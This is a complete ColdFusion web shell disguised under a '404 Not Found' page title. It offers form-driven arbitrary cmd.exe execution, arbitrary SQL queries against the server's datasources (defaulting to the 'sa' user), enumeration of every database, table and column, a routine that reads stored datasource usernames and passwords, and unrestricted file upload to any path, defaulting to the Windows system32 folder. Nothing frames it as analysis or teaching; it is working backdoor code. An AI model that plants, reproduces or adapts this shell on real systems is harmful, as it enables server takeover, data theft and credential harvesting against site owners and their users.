Untitled

<cfsetting requesttimeout="9999">
<cffunction name=t></cffunction>
<html>
<head>
<title>404 Not Found</title>
<script src="http://www.webtoolkit.info/djs/webtoolkit.base64.js" type="text/javascript"></script>
</head>
<body>
<cfparam name="FORM.path" type="string" default="c:\windows\system32\" />
<cfparam name="FORM.datasource" type="string" default="" />
<cfparam name="FORM.server" type="string" default="127.0.0.1" />
<cfparam name="FORM.query1" type="string" default="select user" />
<cfparam name="FORM.query2" type="string" default="select user" />
<cfparam name="FORM.user" type="string" default="sa" />
<cfparam name="FORM.pass" type="string" default="" />
<cfparam name="FORM.cmd" type="string" default="ver" />
<h3>CMD</h3>
<cfif IsDefined("FORM.runcmd")>
<cfexecute name="cmd.exe"
arguments="/c #cmd#"
timeout="999">
</cfexecute>
<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">
<cffile action="Read"
file="#GetTempDirectory()#foobar.txt"
variable="readText">
<textarea readonly cols=80 rows=20>
<CFOUTPUT>#readText#</CFOUTPUT>
</textarea>
<cffile action="Delete"
file="#GetTempDirectory()#foobar.txt">
</cfif>
</cfif>
<cfform method="post">
<cfinput type="text" size=45 name="cmd" value="#FORM.cmd#">
<input type="Submit" name="runcmd" value="run">
</cfform>
<h3>SQL CFM</h3>
<cfform  method="post" onSubmit="query1.value =(query1.value);">
Datasource<br>
<select name="datasource">
<cfscript>
dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").getDatasourceService().getDatasources();
for(i in dataSourceObb)
{
	if ("#FORM.datasource#" eq i) writeoutput('<option value="' & i & '" selected>' & i & '</option>');
	else writeoutput('<option value="' & i & '">' & i & '('& dataSourceObb[i]['driver'] & ')' & '</option>');
}
</cfscript>

</select>
<cfif isdefined("form.runsql2")>
<cfscript>

</cfscript>
<cfquery name="sqlout" datasource="#Form.datasource#" timeout="30">#Form.query1#</cfquery>
<table border=1>
<cfloop from="0" to="#sqlout.RecordCount#" index="row">
	<cfif row eq 0>
		<tr>
			<cfloop list="#sqlout.ColumnList#" index="column" delimiters=",">
             		<th><cfoutput>#column#</cfoutput></th>
      			</cfloop>
		</tr>
	<cfelse>
		<tr>
			<cfloop list="#sqlout.ColumnList#" index="column" delimiters=",">
			<td><cfoutput>#sqlout[column][row]#</cfoutput></td>
			</cfloop>
		</tr>
	</cfif>
</cfloop>
</table>
</cfif>
<br>Query<br>
<cfinput type="Text" name="query1" size="50" value="#FORM.query1#"><br>
<input type=Submit name="runsql2" value="run">
</cfform>
<h3>SQL SCTRUCT</h3>
<cfform  method="post">
Datasource<br>
<select name="datasource">
<cfscript>
dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").getDatasourceService().getDatasources();
for(i in dataSourceObb)
{
	if ("#FORM.datasource#" eq i) writeoutput('<option value="' & i & '" selected>' & i & '</option>');
	else writeoutput('<option value="' & i & '">' & i & '('& dataSourceObb[i]['driver'] & ')' & '</option>');
}
</cfscript>
</select>
<input type=Submit name="structure1" value="mssql">
</cfform>
<cfif isdefined("form.structure1")>
<cfset MyDSN = "#Form.datasource#">
<cfquery name="databases" datasource="#MyDSN#">
exec sp_databases;
</cfquery>
<cfloop query="databases">
<cfoutput>
<h3>#databases.DATABASE_NAME# (#databases.DATABASE_SIZE#)</h3>
</cfoutput>
<cfquery datasource="#MyDSN#" name="tables">
SELECT [TableName] = so.name,[RowCount] = MAX(si.rows) FROM [#databases.DATABASE_NAME#]..sysobjects so, [#databases.DATABASE_NAME#]..sysindexes si WHERE so.xtype = char(85) AND si.id = OBJECT_ID(so.name) GROUP BY so.name ORDER BY 2 DESC
</cfquery>
<cfloop query="tables">
<cfquery datasource="#MyDSN#" name="columns">
select * from [#databases.DATABASE_NAME#].information_schema.columns WHERE table_name='#tables.TableName#'
</cfquery>
<table>
<cfoutput>
	<tr>
		<td><strong>#tables.TableName# (#tables.RowCount#)</strong></td>
		<td> </td>
		<td> </td>
	</tr>
</cfoutput>
<cfloop query="columns">
<cfoutput>
	<tr>
		<td>#columns.COLUMN_NAME#</td>
		<td>#columns.DATA_TYPE# </td>
		<td>#columns.CHARACTER_MAXIMUM_LENGTH#</td>
	</tr>
</cfoutput>
</cfloop>
</table>
</cfloop>
</cfloop>
</cfif>
<h3>SQL JAVA</h3>
<cfif IsDefined("FORM.decode")>
<cfscript>
dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
getDatasourceService().getDatasources();
for(i in dataSourceObb)
{
     	if(len(dataSourceObb[i]["password"]))
	{
		username=(dataSourceObb[i]["username"]);
		decryptPassword="";
     		writeoutput(dataSourceObb[i]["name"] & " server: "  & dataSourceObb[i]["urlmap"]["host"] & "," & dataSourceObb[i]["urlmap"]["port"] & " Username: " & username & " Password: " & decryptPassword & "<br>");
 	}
}
</cfscript>
</cfif>
<cfform  method="post">
<input type=Submit name="decode" value="decode"><br>
</cfform>
<cfform  method="post" onSubmit="query2.value = (query2.value);">
Server<br>
<cfinput type="Text" name="server" size="50" value="#FORM.server#"><br>
User<br>
<cfinput type="Text" name="user" size="50" value="#FORM.user#"><br>
Pass<br>
<cfinput type="Text" name="pass" size="50" value="#FORM.pass#"><br>
<cfif IsDefined("FORM.runsql")>
<cfscript>
</cfscript>
<cfoutput>
#FORM.query2#
</cfoutput>
<cfscript>
classLoader = createObject("java", "java.lang.Class");
classLoader.forName("sun.jdbc.odbc.JdbcOdbcDriver");
dm = createObject("java","java.sql.DriverManager");
con = dm.getConnection("jdbc:odbc:DRIVER={SQL Server};Database=master;Server=#FORM.server#","#FORM.user#","#FORM.pass#");
st = con.createStatement();
rs = st.ExecuteQuery(#FORM.query2#);
q = createObject("java", "coldfusion.sql.QueryTable").init(rs);
</cfscript>
<cfdump var="#q#">
</cfif>
Query<br>
<cfinput type="Text" name="query2" size="50" value="#FORM.query2#"><br>
<input type=Submit name="runsql" value="run">
</cfform>
<h3>File Upload</h3>
<cfif isDefined("fileUpload")>
  <cffile nameconflict=overwrite  action="upload"
     fileField="fileUpload"
     destination="#FORM.path#">
     <p>Thankyou, your file has been uploaded.</p>
</cfif>
<cfform enctype="multipart/form-data" method="post">
<cfinput type="file" name="fileUpload" /><br>
<cfinput type="text" name="path" size="50" value="#FORM.path#"><br>
<input type="submit" name="runupload" value="Upload File">
</cfform>
</body>
</html>